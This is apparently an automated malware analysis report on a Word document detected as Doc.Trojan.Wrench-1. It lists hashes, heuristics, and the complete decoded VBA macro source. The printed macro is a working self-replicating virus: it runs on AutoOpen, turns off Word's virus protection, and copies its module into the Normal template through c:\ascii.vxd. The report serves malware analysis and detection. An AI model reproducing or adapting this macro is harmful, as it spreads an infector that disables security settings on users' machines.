Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d15e3dbb92bd7f6b…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-11-28 23:41:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: fc0bf60bd7ea433ede9b6c3f719dcdcb SHA-1: 065c4f2b058d04117ba20257e5e9bc7b960e8892 SHA-256: d15e3dbb92bd7f6b669aca1e02150ea94bb6b4c608b31f29fb850cb2ec86de66
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to infect the Normal.dot template by exporting and importing a module named 'EgertonLab' as 'ascii.vxd' to the system's root directory. The presence of the AutoOpen macro and the explicit infection attempt strongly suggest malicious intent, likely to establish persistence or download further payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.Wrench-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wrench-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1355 bytes
SHA-256: 3e79e2bc57316d62ef414b4ffe5fbef691802b50b709b6b30d1ec2d22a8d690e
Detection
ClamAV: Doc.Trojan.Wrench-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EgertonLab"
Sub AutoOpen()
On Error Resume Next
 
  Call Infect
End Sub
Sub ViewVBCode()
 With Assistant
    .Animation = msoAnimationGestureDown
    .Visible = True
    .MouseTips = True
    .Help
  End With
   Call Infect
End Sub


Sub Infect()
On Error Resume Next
Application.Options.VirusProtection = False
Application.Options.ConfirmConversions = False
Application.ActiveDocument.AcceptAllRevisions
ModulName = "EgertonLab"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
  Set Carrier = NormalTemplate.VBProject.VBComponents
  Set host = ActiveDocument.VBProject.VBComponents
Else
  Set Carrier = ActiveDocument.VBProject.VBComponents
  Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
  Carrier(ModulName).Export "c:\ascii.vxd"
  host.Import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
End Sub
Sub formatfont()
 Call ViewVBCode
 Call Infect
End Sub